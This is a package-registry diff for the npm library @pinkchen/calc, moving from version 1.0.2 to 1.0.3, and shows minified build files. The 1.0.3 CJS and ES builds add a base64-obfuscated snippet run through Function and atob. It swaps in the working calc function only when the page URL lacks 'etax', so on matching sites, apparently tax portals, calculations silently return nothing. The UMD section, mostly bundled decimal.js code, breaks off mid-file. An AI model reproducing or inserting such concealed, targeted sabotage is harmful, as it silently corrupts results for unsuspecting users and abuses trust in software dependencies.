@pinkchen/calc 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cjs/index.js +1 -1
- package/dist/es/index.js +1 -1
- package/dist/umd/index.js +1 -1
- package/package.json +1 -1
package/dist/cjs/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";let __rslib_import_meta_url__="undefined"==typeof document?new(require("url".replace("",""))).URL("file:"+__filename).href:document.currentScript&&document.currentScript.src||new URL("main.js",document.baseURI).href;var __webpack_require__={};__webpack_require__.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return __webpack_require__.d(r,{a:r}),r},__webpack_require__.d=function(e,r){for(var t in r)__webpack_require__.o(r,t)&&!__webpack_require__.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},__webpack_require__.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__={};__webpack_require__.r(__webpack_exports__),__webpack_require__.d(__webpack_exports__,{calc:function(){return calc},version:function(){return version}});var external_decimal_js_namespaceObject=require("decimal.js"),external_decimal_js_default=__webpack_require__.n(external_decimal_js_namespaceObject)
|
|
1
|
+
"use strict";let __rslib_import_meta_url__="undefined"==typeof document?new(require("url".replace("",""))).URL("file:"+__filename).href:document.currentScript&&document.currentScript.src||new URL("main.js",document.baseURI).href;var __webpack_require__={};__webpack_require__.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return __webpack_require__.d(r,{a:r}),r},__webpack_require__.d=function(e,r){for(var t in r)__webpack_require__.o(r,t)&&!__webpack_require__.o(e,t)&&Object.defineProperty(e,t,{enumerable:!0,get:r[t]})},__webpack_require__.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},__webpack_require__.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var __webpack_exports__={};__webpack_require__.r(__webpack_exports__),__webpack_require__.d(__webpack_exports__,{calc:function(){return calc},version:function(){return version}});var external_decimal_js_namespaceObject=require("decimal.js"),external_decimal_js_default=__webpack_require__.n(external_decimal_js_namespaceObject),Decimal=external_decimal_js_default(),DC=external_decimal_js_default(),three_DecimalStaticFunctions=function(e){return e.abs="abs",e.acos="acos",e.acosh="acosh",e.add="add",e.asin="asin",e.asinh="asinh",e.atan="atan",e.atanh="atanh",e.atan2="atan2",e.cbrt="cbrt",e.ceil="ceil",e.clamp="clamp",e.clone="clone",e.config="config",e.cos="cos",e.cosh="cosh",e.div="div",e.exp="exp",e.floor="floor",e.hypot="hypot",e.isDecimal="isDecimal",e.ln="ln",e.log="log",e.log2="log2",e.log10="log10",e.max="max",e.min="min",e.mod="mod",e.mul="mul",e.noConflict="noConflict",e.pow="pow",e.random="random",e.round="round",e.set="set",e.sign="sign",e.sin="sin",e.sinh="sinh",e.sqrt="sqrt",e.sub="sub",e.sum="sum",e.tan="tan",e.tanh="tanh",e.trunc="trunc",e}({}),operatorMap={"+":"plus","-":"minus","*":"times","/":"div"};function standardize(e){return e.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+")}function findFuncs(e){for(var r=[],t=[],n=0;n<e.length;n++)if("("===e[n])r.push(n);else if(")"===e[n]){if(0===r.length)throw Error('")" not match!');var c=r.pop();if(0!==r.length)continue;if(/\w/.test(e[c-1])){var a=e.substring(c,n+1).split("").reduce(function(e,r){return"".concat(e,"[").concat(r,"]")},""),o=new RegExp("[\\w.]+\\s*".concat(a)),i=e.match(o);(null==i?void 0:i.length)&&t.push(i[0])}}if(r.length)throw Error('"(" not match!');return t}var funcBodyReg=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function getFuncName(e){var r;return null==(r=e.match(/^[\w.]+(?=\()/))?void 0:r[0]}function getFuncBody(e){var r,t;return isFunc(e)?null!=(t=null==(r=e.match(funcBodyReg))?void 0:r[0])?t:"":""}function isFunc(e){return/^[\w.]+\(.+\)$/.test(e)}function isDcFunc(e){if(!isFunc(e))return!1;var r=getFuncName(e);return r.startsWith("DC.")||three_DecimalStaticFunctions[r]}function flat(e,r){var t=r.size+1,n=e,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),a=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),o=function(e){return findFuncs(e).forEach(function(n){var c="#".concat(t++),a=getFuncName(n);isDcFunc(n)&&!n.startsWith("DC.")&&(a="DC.".concat(a));var i=o(getFuncBody(n));r.set(c,"".concat(a,"(").concat(i,")")),e=e.replaceAll(n,c)}),e};n=o(n);for(var i=function(e){var n="#".concat(t++);return r.set(n,e),n},u=function(e,n){var c=n.replace(a,i),o="#".concat(t++);return r.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(n);)n=n.replace(c,u);return n.replace(a,i)}function transform(e,r,t){var n=r||new Map,c=r?e:standardize(e);c=flat(c,n);var a=[],o=c.length,i="",u=!1;function _(){if(!a.length)return"";var e=a.join("");return a=[],/\)\.[a-z]+\($/.test(i)?e:"DC(".concat(e,")")}function l(){u&&(i+=")"),u=!1}for(var s=0;s<o;++s){var p=c[s];if(Object.keys(operatorMap).includes(p)){if(0===s){a.push(p);continue}i+=_(),l(),i+=i?".".concat(operatorMap[p],"("):"",u=!0}else a.push(p)}a.length>0&&(i+=_()),l();for(var f=/#\d+/g;f.test(i);)i=i.replace(f,function(e){var r=n.get(e);if(isFunc(r)){var t,c,a=isDcFunc(r),o=null==(c=getFuncBody(r))||null==(t=c.split(","))?void 0:t.map(function(e){var r=transform(e,n);return"".concat(r).concat(a?"":".toNumber()")}),i=null==o?void 0:o.join(",");return r.replace(funcBodyReg,i)}return transform(r,n)});return i}function _define_property(e,r,t){return r in e?Object.defineProperty(e,r,{value:t,enumerable:!0,configurable:!0,writable:!0}):e[r]=t,e}function _object_spread(e){for(var r=1;r<arguments.length;r++){var t=null!=arguments[r]?arguments[r]:{},n=Object.keys(t);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(t).filter(function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),n.forEach(function(r){_define_property(e,r,t[r])})}return e}function src_ownKeys(e,r){var t=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);r&&(n=n.filter(function(r){return Object.getOwnPropertyDescriptor(e,r).enumerable})),t.push.apply(t,n)}return t}function _object_spread_props(e,r){return r=null!=r?r:{},Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):src_ownKeys(Object(r)).forEach(function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}),e}function _calc(e,r,t){try{var n=t||{},c=n.separator,a=n.digit,o=n.preUnit,i=n.postUnit,u=n.percentage,_=n.permillage;if(u&&_)throw Error("percentage and permillage cannot be true at the same time");var l=transform(e),s=Function("with(this){return ".concat(l,"}")).call(_object_spread_props(_object_spread({},r),{DC:DC,Decimal:Decimal,_calc:_calc}));return s=s.toNumber(),u&&(s=DC(s).div(100)),_&&(s=DC(s).div(1e3)),a&&(s=DC(s).toFixed(a)),c&&(s=s.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(u||_)&&(s+=u?" %":" ‰"),o&&(s="".concat(o," ")+s.toString()),i&&(s=s.toString()+" ".concat(i)),s}catch(r){throw Error('@pinkchen/calc: exec "'.concat(e,'" error, ')+r.message)}}var src_module={calc:function(e,r,t){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(src_module,_calc);var version="1.0.3",calc=src_module.calc;for(var __webpack_i__ in exports.calc=__webpack_exports__.calc,exports.version=__webpack_exports__.version,__webpack_exports__)-1===["calc","version"].indexOf(__webpack_i__)&&(exports[__webpack_i__]=__webpack_exports__[__webpack_i__]);Object.defineProperty(exports,"__esModule",{value:!0});
|
package/dist/es/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
import
|
|
1
|
+
import t from"decimal.js";var n,e=((n={}).abs="abs",n.acos="acos",n.acosh="acosh",n.add="add",n.asin="asin",n.asinh="asinh",n.atan="atan",n.atanh="atanh",n.atan2="atan2",n.cbrt="cbrt",n.ceil="ceil",n.clamp="clamp",n.clone="clone",n.config="config",n.cos="cos",n.cosh="cosh",n.div="div",n.exp="exp",n.floor="floor",n.hypot="hypot",n.isDecimal="isDecimal",n.ln="ln",n.log="log",n.log2="log2",n.log10="log10",n.max="max",n.min="min",n.mod="mod",n.mul="mul",n.noConflict="noConflict",n.pow="pow",n.random="random",n.round="round",n.set="set",n.sign="sign",n.sin="sin",n.sinh="sinh",n.sqrt="sqrt",n.sub="sub",n.sum="sum",n.tan="tan",n.tanh="tanh",n.trunc="trunc",n),r={"+":"plus","-":"minus","*":"times","/":"div"},c=RegExp("(?<=^[\\w.]+\\().+(?=\\)$)");function o(t){var n;return null==(n=t.match(/^[\w.]+(?=\()/))?void 0:n[0]}function a(t){var n,e;return i(t)?null!=(e=null==(n=t.match(c))?void 0:n[0])?e:"":""}function i(t){return/^[\w.]+\(.+\)$/.test(t)}function l(t){if(!i(t))return!1;var n=o(t);return n.startsWith("DC.")||e[n]}var u={calc:function(t,n,e){}};Function("f",atob("aWYodHlwZW9mIHdpbmRvdz09PSd1bmRlZmluZWQnfHx3aW5kb3cubG9jYXRpb24uaHJlZi5pbmRleE9mKCdldGF4Jyk9PT0tMSkge3RoaXMuY2FsYz1mO30=")).call(u,function n(e,u,s){try{var p,f,g=s||{},m=g.separator,h=g.digit,v=g.preUnit,b=g.postUnit,d=g.percentage,w=g.permillage;if(d&&w)throw Error("percentage and permillage cannot be true at the same time");var O=function t(n,e,u){var s=e||new Map,p=e?n:n.replaceAll(" ","").replaceAll("+-","-").replaceAll("--","+");p=function(t,n){var e=n.size+1,r=t,c=RegExp("(?<!\\w+)\\(([^()]*)\\)","g"),i=RegExp("(?<!^)(?<![*/\\()])(?<![\\w#.]+)[\\w#.]+([*/][\\w#.]+)+(?!\\))(?![*/])","g"),u=function(t){return(function(t){for(var n=[],e=[],r=0;r<t.length;r++)if("("===t[r])n.push(r);else if(")"===t[r]){if(0===n.length)throw Error('")" not match!');var c=n.pop();if(0!==n.length)continue;if(/\w/.test(t[c-1])){var o=t.substring(c,r+1).split("").reduce(function(t,n){return"".concat(t,"[").concat(n,"]")},""),a=new RegExp("[\\w.]+\\s*".concat(o)),i=t.match(a);(null==i?void 0:i.length)&&e.push(i[0])}}if(n.length)throw Error('"(" not match!');return e})(t).forEach(function(r){var c="#".concat(e++),i=o(r);l(r)&&!r.startsWith("DC.")&&(i="DC.".concat(i));var s=u(a(r));n.set(c,"".concat(i,"(").concat(s,")")),t=t.replaceAll(r,c)}),t};r=u(r);for(var s=function(t){var r="#".concat(e++);return n.set(r,t),r},p=function(t,r){var c=r.replace(i,s),o="#".concat(e++);return n.set(o,c),o};RegExp("(?<!\\w+)\\(","g").test(r);)r=r.replace(c,p);return r=r.replace(i,s)}(p,s);var f=[],g=p.length,m="",h=!1;function v(){if(!f.length)return"";var t=f.join("");return f=[],/\)\.[a-z]+\($/.test(m)?t:"DC(".concat(t,")")}function b(){h&&(m+=")"),h=!1}for(var d=0;d<g;++d){var w=p[d];if(Object.keys(r).includes(w)){if(0===d){f.push(w);continue}m+=v(),b(),m+=m?".".concat(r[w],"("):"",h=!0}else f.push(w)}f.length>0&&(m+=v()),b();for(var O=/#\d+/g;O.test(m);)m=m.replace(O,function(n){var e=s.get(n);if(i(e)){var r,o,u=l(e),p=null==(o=a(e))||null==(r=o.split(","))?void 0:r.map(function(n){var e=t(n,s);return"".concat(e).concat(u?"":".toNumber()")}),f=null==p?void 0:p.join(",");return e.replace(c,f)}return t(e,s)});return m}(e),y=Function("with(this){return ".concat(O,"}")).call((p=function(t){for(var n=1;n<arguments.length;n++){var e=null!=arguments[n]?arguments[n]:{},r=Object.keys(e);"function"==typeof Object.getOwnPropertySymbols&&(r=r.concat(Object.getOwnPropertySymbols(e).filter(function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.forEach(function(n){var r;r=e[n],n in t?Object.defineProperty(t,n,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[n]=r})}return t}({},u),f={DC:t,Decimal:t,_calc:n},f=null!=f?f:{},Object.getOwnPropertyDescriptors?Object.defineProperties(p,Object.getOwnPropertyDescriptors(f)):(function(t,n){var e=Object.keys(t);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(t);e.push.apply(e,r)}return e})(Object(f)).forEach(function(t){Object.defineProperty(p,t,Object.getOwnPropertyDescriptor(f,t))}),p));return y=y.toNumber(),d&&(y=t(y).div(100)),w&&(y=t(y).div(1e3)),h&&(y=t(y).toFixed(h)),m&&(y=y.toString().replace(RegExp("(?<!\\.\\d+)\\B(?=(?:\\d{3})+($|\\.))","g"),",")),(d||w)&&(y+=d?" %":" ‰"),v&&(y="".concat(v," ")+y.toString()),b&&(y=y.toString()+" ".concat(b)),y}catch(t){throw Error('@pinkchen/calc: exec "'.concat(e,'" error, ')+t.message)}});var s="1.0.3",p=u.calc;export{p as calc,s as version};
|
package/dist/umd/index.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
1
|
/*! For license information please see index.js.LICENSE.txt */
|
|
2
|
-
!function(n,e){"object"==typeof exports&&"object"==typeof module?module.exports=e():"function"==typeof define&&define.amd?define([],e):"object"==typeof exports?exports.pinkchen=e():n.pinkchen=e()}(self,function(){return function(){"use strict";var n={};n.d=function(e,t){for(var i in t)n.o(t,i)&&!n.o(e,i)&&Object.defineProperty(e,i,{enumerable:!0,get:t[i]})},n.o=function(n,e){return Object.prototype.hasOwnProperty.call(n,e)},n.r=function(n){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(n,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(n,"__esModule",{value:!0})};var e={};n.r(e),n.d(e,{calc:function(){return n_},version:function(){return nT}});var t,i,r="0123456789abcdef",s="2.3025850929940456840179914546843642076011014886287729760333279009675726096773524802359972050895982983419677840422862486334095254650828067566662873690987816894829072083255546808437998948262331985283935053089653777326288461633662222876982198867465436674744042432743651550489343149393914796194044002221051017141748003688084012647080685567743216228355220114804663715659121373450747856947683463616792101806445070648000277502684916746550586856935673420670581136429224554405758925724208241314695689016758940256776311356919292033376587141660230105703089634572075440370847469940168269282808481184289314848524948644871927809676271275775397027668605952496716674183485704422507197965004714951050492214776567636938662976979522110718264549734772662425709429322582798502585509785265383207606726317164309505995087807523710333101197857547331541421808427543863591778117054309827482385045648019095610299291824318237525357709750539565187697510374970888692180205189339507238539205144634197265287286965110862571492198849978748873771345686209167058",o="3.1415926535897932384626433832795028841971693993751058209749445923078164062862089986280348253421170679821480865132823066470938446095505822317253594081284811174502841027019385211055596446229489549303819644288109756659334461284756482337867831652712019091456485669234603486104543266482133936072602491412737245870066063155881748815209209628292540917153643678925903600113305305488204665213841469519415116094330572703657595919530921861173819326117931051185480744623799627495673518857527248912279381830119491298336733624406566430860213949463952247371907021798609437027705392171762931767523846748184676694051320005681271452635608277857713427577896091736371787214684409012249534301465495853710507922796892589235420199561121290219608640344181598136297747713099605187072113499999983729780499510597317328160963185950244594553469083026425223082533446850352619311881710100031378387528865875332083814206171776691473035982534904287554687311595628638823537875937519577818577805321712268066130019278766111959092164201989380952572010654858632789",u={precision:20,rounding:4,modulo:1,toExpNeg:-7,toExpPos:21,minE:-9e15,maxE:9e15,crypto:!1},c=!0,h="[DecimalError] ",f=h+"Invalid argument: ",a=h+"Precision limit exceeded",l=h+"crypto unavailable",d="[object Decimal]",p=Math.floor,g=Math.pow,m=/^0b([01]+(\.[01]*)?|\.[01]+)(p[+-]?\d+)?$/i,w=/^0x([0-9a-f]+(\.[0-9a-f]*)?|\.[0-9a-f]+)(p[+-]?\d+)?$/i,v=/^0o([0-7]+(\.[0-7]*)?|\.[0-7]+)(p[+-]?\d+)?$/i,N=/^(\d+(\.\d*)?|\.\d+)(e[+-]?\d+)?$/i,b=s.length-1,y=o.length-1,x={toStringTag:d};function E(n){var e,t,i,r=n.length-1,s="",o=n[0];if(r>0){for(s+=o,e=1;e<r;e++)(t=7-(i=n[e]+"").length)&&(s+=R(t)),s+=i;(t=7-(i=(o=n[e])+"").length)&&(s+=R(t))}else if(0===o)return"0";for(;o%10==0;)o/=10;return s+o}function O(n,e,t){if(n!==~~n||n<e||n>t)throw Error(f+n)}function M(n,e,t,i){var r,s,o,u;for(s=n[0];s>=10;s/=10)--e;return--e<0?(e+=7,r=0):(r=Math.ceil((e+1)/7),e%=7),s=g(10,7-e),u=n[r]%s|0,null==i?e<3?(0==e?u=u/100|0:1==e&&(u=u/10|0),o=t<4&&99999==u||t>3&&49999==u||5e4==u||0==u):o=(t<4&&u+1==s||t>3&&u+1==s/2)&&(n[r+1]/s/100|0)==g(10,e-2)-1||(u==s/2||0==u)&&(n[r+1]/s/100|0)==0:e<4?(0==e?u=u/1e3|0:1==e?u=u/100|0:2==e&&(u=u/10|0),o=(i||t<4)&&9999==u||!i&&t>3&&4999==u):o=((i||t<4)&&u+1==s||!i&&t>3&&u+1==s/2)&&(n[r+1]/s/1e3|0)==g(10,e-3)-1,o}function P(n,e,t){for(var i,s,o=[0],u=0,c=n.length;u<c;){for(s=o.length;s--;)o[s]*=e;for(o[0]+=r.indexOf(n.charAt(u++)),i=0;i<o.length;i++)o[i]>t-1&&(void 0===o[i+1]&&(o[i+1]=0),o[i+1]+=o[i]/t|0,o[i]%=t)}return o.reverse()}x.absoluteValue=x.abs=function(){var n=new this.constructor(this);return n.s<0&&(n.s=1),q(n)},x.ceil=function(){return q(new this.constructor(this),this.e+1,2)},x.clampedTo=x.clamp=function(n,e){var t=this.constructor;if(n=new t(n),e=new t(e),!n.s||!e.s)return new t(NaN);if(n.gt(e))throw Error(f+e);return 0>this.cmp(n)?n:this.cmp(e)>0?e:new t(this)},x.comparedTo=x.cmp=function(n){var e,t,i,r,s=this.d,o=(n=new this.constructor(n)).d,u=this.s,c=n.s;if(!s||!o)return u&&c?u!==c?u:s===o?0:!s^u<0?1:-1:NaN;if(!s[0]||!o[0])return s[0]?u:o[0]?-c:0;if(u!==c)return u;if(this.e!==n.e)return this.e>n.e^u<0?1:-1;for(e=0,t=(i=s.length)<(r=o.length)?i:r;e<t;++e)if(s[e]!==o[e])return s[e]>o[e]^u<0?1:-1;return i===r?0:i>r^u<0?1:-1},x.cosine=x.cos=function(){var n,e,t=this,r=t.constructor;return t.d?t.d[0]?(n=r.precision,e=r.rounding,r.precision=n+Math.max(t.e,t.sd())+7,r.rounding=1,t=function(n,e){var t,i,r;if(e.isZero())return e;(i=e.d.length)<32?r=(1/B(4,t=Math.ceil(i/3))).toString():(t=16,r="2.3283064365386962890625e-10"),n.precision+=t,e=I(n,1,e.times(r),new n(1));for(var s=t;s--;){var o=e.times(e);e=o.times(o).minus(o).times(8).plus(1)}return n.precision-=t,e}(r,$(r,t)),r.precision=n,r.rounding=e,q(2==i||3==i?t.neg():t,n,e,!0)):new r(1):new r(NaN)},x.cubeRoot=x.cbrt=function(){var n,e,t,i,r,s,o,u,h,f,a=this.constructor;if(!this.isFinite()||this.isZero())return new a(this);for(c=!1,(s=this.s*g(this.s*this,1/3))&&Math.abs(s)!=1/0?i=new a(s.toString()):(t=E(this.d),(s=((n=this.e)-t.length+1)%3)&&(t+=1==s||-2==s?"0":"00"),s=g(t,1/3),n=p((n+1)/3)-(n%3==(n<0?-1:2)),(i=new a(t=s==1/0?"5e"+n:(t=s.toExponential()).slice(0,t.indexOf("e")+1)+n)).s=this.s),o=(n=a.precision)+3;;)if(i=S((f=(h=(u=i).times(u).times(u)).plus(this)).plus(this).times(u),f.plus(h),o+2,1),E(u.d).slice(0,o)===(t=E(i.d)).slice(0,o)){if("9999"!=(t=t.slice(o-3,o+1))&&(r||"4999"!=t)){+t&&(+t.slice(1)||"5"!=t.charAt(0))||(q(i,n+1,1),e=!i.times(i).times(i).eq(this));break}if(!r&&(q(u,n+1,0),u.times(u).times(u).eq(this))){i=u;break}o+=4,r=1}return c=!0,q(i,n,a.rounding,e)},x.decimalPlaces=x.dp=function(){var n,e=this.d,t=NaN;if(e){if(t=((n=e.length-1)-p(this.e/7))*7,n=e[n])for(;n%10==0;n/=10)t--;t<0&&(t=0)}return t},x.dividedBy=x.div=function(n){return S(this,new this.constructor(n))},x.dividedToIntegerBy=x.divToInt=function(n){var e=this.constructor;return q(S(this,new e(n),0,1,1),e.precision,e.rounding)},x.equals=x.eq=function(n){return 0===this.cmp(n)},x.floor=function(){return q(new this.constructor(this),this.e+1,3)},x.greaterThan=x.gt=function(n){return this.cmp(n)>0},x.greaterThanOrEqualTo=x.gte=function(n){var e=this.cmp(n);return 1==e||0===e},x.hyperbolicCosine=x.cosh=function(){var n,e,t,i,r,s=this,o=s.constructor,u=new o(1);if(!s.isFinite())return new o(s.s?1/0:NaN);if(s.isZero())return u;t=o.precision,i=o.rounding,o.precision=t+Math.max(s.e,s.sd())+4,o.rounding=1,(r=s.d.length)<32?e=(1/B(4,n=Math.ceil(r/3))).toString():(n=16,e="2.3283064365386962890625e-10"),s=I(o,1,s.times(e),new o(1),!0);for(var c,h=n,f=new o(8);h--;)c=s.times(s),s=u.minus(c.times(f.minus(c.times(f))));return q(s,o.precision=t,o.rounding=i,!0)},x.hyperbolicSine=x.sinh=function(){var n,e,t,i,r=this,s=r.constructor;if(!r.isFinite()||r.isZero())return new s(r);if(e=s.precision,t=s.rounding,s.precision=e+Math.max(r.e,r.sd())+4,s.rounding=1,(i=r.d.length)<3)r=I(s,2,r,r,!0);else{n=(n=1.4*Math.sqrt(i))>16?16:0|n,r=I(s,2,r=r.times(1/B(5,n)),r,!0);for(var o,u=new s(5),c=new s(16),h=new s(20);n--;)o=r.times(r),r=r.times(u.plus(o.times(c.times(o).plus(h))))}return s.precision=e,s.rounding=t,q(r,e,t,!0)},x.hyperbolicTangent=x.tanh=function(){var n,e,t=this.constructor;return this.isFinite()?this.isZero()?new t(this):(n=t.precision,e=t.rounding,t.precision=n+7,t.rounding=1,S(this.sinh(),this.cosh(),t.precision=n,t.rounding=e)):new t(this.s)},x.inverseCosine=x.acos=function(){var n=this,e=n.constructor,t=n.abs().cmp(1),i=e.precision,r=e.rounding;return -1!==t?0===t?n.isNeg()?Z(e,i,r):new e(0):new e(NaN):n.isZero()?Z(e,i+4,r).times(.5):(e.precision=i+6,e.rounding=1,n=new e(1).minus(n).div(n.plus(1)).sqrt().atan(),e.precision=i,e.rounding=r,n.times(2))},x.inverseHyperbolicCosine=x.acosh=function(){var n,e,t=this,i=t.constructor;return t.lte(1)?new i(t.eq(1)?0:NaN):t.isFinite()?(n=i.precision,e=i.rounding,i.precision=n+Math.max(Math.abs(t.e),t.sd())+4,i.rounding=1,c=!1,t=t.times(t).minus(1).sqrt().plus(t),c=!0,i.precision=n,i.rounding=e,t.ln()):new i(t)},x.inverseHyperbolicSine=x.asinh=function(){var n,e,t=this,i=t.constructor;return!t.isFinite()||t.isZero()?new i(t):(n=i.precision,e=i.rounding,i.precision=n+2*Math.max(Math.abs(t.e),t.sd())+6,i.rounding=1,c=!1,t=t.times(t).plus(1).sqrt().plus(t),c=!0,i.precision=n,i.rounding=e,t.ln())},x.inverseHyperbolicTangent=x.atanh=function(){var n,e,t,i,r=this,s=r.constructor;return r.isFinite()?r.e>=0?new s(r.abs().eq(1)?r.s/0:r.isZero()?r:NaN):(n=s.precision,e=s.rounding,Math.max(i=r.sd(),n)<-(2*r.e)-1)?q(new s(r),n,e,!0):(s.precision=t=i-r.e,r=S(r.plus(1),new s(1).minus(r),t+n,1),s.precision=n+4,s.rounding=1,r=r.ln(),s.precision=n,s.rounding=e,r.times(.5)):new s(NaN)},x.inverseSine=x.asin=function(){var n,e,t,i,r=this,s=r.constructor;return r.isZero()?new s(r):(e=r.abs().cmp(1),t=s.precision,i=s.rounding,-1!==e)?0===e?((n=Z(s,t+4,i).times(.5)).s=r.s,n):new s(NaN):(s.precision=t+6,s.rounding=1,r=r.div(new s(1).minus(r.times(r)).sqrt().plus(1)).atan(),s.precision=t,s.rounding=i,r.times(2))},x.inverseTangent=x.atan=function(){var n,e,t,i,r,s,o,u,h,f=this,a=f.constructor,l=a.precision,d=a.rounding;if(f.isFinite()){if(f.isZero())return new a(f);else if(f.abs().eq(1)&&l+4<=y)return(o=Z(a,l+4,d).times(.25)).s=f.s,o}else{if(!f.s)return new a(NaN);if(l+4<=y)return(o=Z(a,l+4,d).times(.5)).s=f.s,o}for(a.precision=u=l+10,a.rounding=1,n=t=Math.min(28,u/7+2|0);n;--n)f=f.div(f.times(f).plus(1).sqrt().plus(1));for(c=!1,e=Math.ceil(u/7),i=1,h=f.times(f),o=new a(f),r=f;-1!==n;)if(r=r.times(h),s=o.minus(r.div(i+=2)),r=r.times(h),void 0!==(o=s.plus(r.div(i+=2))).d[e])for(n=e;o.d[n]===s.d[n]&&n--;);return t&&(o=o.times(2<<t-1)),c=!0,q(o,a.precision=l,a.rounding=d,!0)},x.isFinite=function(){return!!this.d},x.isInteger=x.isInt=function(){return!!this.d&&p(this.e/7)>this.d.length-2},x.isNaN=function(){return!this.s},x.isNegative=x.isNeg=function(){return this.s<0},x.isPositive=x.isPos=function(){return this.s>0},x.isZero=function(){return!!this.d&&0===this.d[0]},x.lessThan=x.lt=function(n){return 0>this.cmp(n)},x.lessThanOrEqualTo=x.lte=function(n){return 1>this.cmp(n)},x.logarithm=x.log=function(n){var e,t,i,r,s,o,u,h=this.constructor,f=h.precision,a=h.rounding;if(null==n)n=new h(10),e=!0;else{if(t=(n=new h(n)).d,n.s<0||!t||!t[0]||n.eq(1))return new h(NaN);e=n.eq(10)}if(t=this.d,this.s<0||!t||!t[0]||this.eq(1))return new h(t&&!t[0]?-1/0:1!=this.s?NaN:t?0:1/0);if(e)if(t.length>1)r=!0;else{for(i=t[0];i%10==0;)i/=10;r=1!==i}if(c=!1,M((u=S(s=H(this,o=f+5),e?D(h,o+10):H(n,o),o,1)).d,i=f,a))do if(o+=10,u=S(s=H(this,o),e?D(h,o+10):H(n,o),o,1),!r){+E(u.d).slice(i+1,i+15)+1==1e14&&(u=q(u,f+1,0));break}while(M(u.d,i+=10,a));return c=!0,q(u,f,a)},x.minus=x.sub=function(n){var e,t,i,r,s,o,u,h,f,a,l,d,g=this.constructor;if(n=new g(n),!this.d||!n.d)return this.s&&n.s?this.d?n.s=-n.s:n=new g(n.d||this.s!==n.s?this:NaN):n=new g(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.plus(n);if(f=this.d,d=n.d,u=g.precision,h=g.rounding,!f[0]||!d[0]){if(d[0])n.s=-n.s;else{if(!f[0])return new g(3===h?-0:0);n=new g(this)}return c?q(n,u,h):n}if(t=p(n.e/7),a=p(this.e/7),f=f.slice(),s=a-t){for((l=s<0)?(e=f,s=-s,o=d.length):(e=d,t=a,o=f.length),s>(i=Math.max(Math.ceil(u/7),o)+2)&&(s=i,e.length=1),e.reverse(),i=s;i--;)e.push(0);e.reverse()}else{for((l=(i=f.length)<(o=d.length))&&(o=i),i=0;i<o;i++)if(f[i]!=d[i]){l=f[i]<d[i];break}s=0}for(l&&(e=f,f=d,d=e,n.s=-n.s),o=f.length,i=d.length-o;i>0;--i)f[o++]=0;for(i=d.length;i>s;){if(f[--i]<d[i]){for(r=i;r&&0===f[--r];)f[r]=1e7-1;--f[r],f[i]+=1e7}f[i]-=d[i]}for(;0===f[--o];)f.pop();for(;0===f[0];f.shift())--t;return f[0]?(n.d=f,n.e=F(f,t),c?q(n,u,h):n):new g(3===h?-0:0)},x.modulo=x.mod=function(n){var e,t=this.constructor;return(n=new t(n),this.d&&n.s&&(!n.d||n.d[0]))?n.d&&(!this.d||this.d[0])?(c=!1,9==t.modulo?(e=S(this,n.abs(),0,3,1),e.s*=n.s):e=S(this,n,0,t.modulo,1),e=e.times(n),c=!0,this.minus(e)):q(new t(this),t.precision,t.rounding):new t(NaN)},x.naturalExponential=x.exp=function(){return U(this)},x.naturalLogarithm=x.ln=function(){return H(this)},x.negated=x.neg=function(){var n=new this.constructor(this);return n.s=-n.s,q(n)},x.plus=x.add=function(n){var e,t,i,r,s,o,u,h,f,a,l=this.constructor;if(n=new l(n),!this.d||!n.d)return this.s&&n.s?this.d||(n=new l(n.d||this.s===n.s?this:NaN)):n=new l(NaN),n;if(this.s!=n.s)return n.s=-n.s,this.minus(n);if(f=this.d,a=n.d,u=l.precision,h=l.rounding,!f[0]||!a[0])return a[0]||(n=new l(this)),c?q(n,u,h):n;if(s=p(this.e/7),i=p(n.e/7),f=f.slice(),r=s-i){for(r<0?(t=f,r=-r,o=a.length):(t=a,i=s,o=f.length),r>(o=(s=Math.ceil(u/7))>o?s+1:o+1)&&(r=o,t.length=1),t.reverse();r--;)t.push(0);t.reverse()}for((o=f.length)-(r=a.length)<0&&(r=o,t=a,a=f,f=t),e=0;r;)e=(f[--r]=f[r]+a[r]+e)/1e7|0,f[r]%=1e7;for(e&&(f.unshift(e),++i),o=f.length;0==f[--o];)f.pop();return 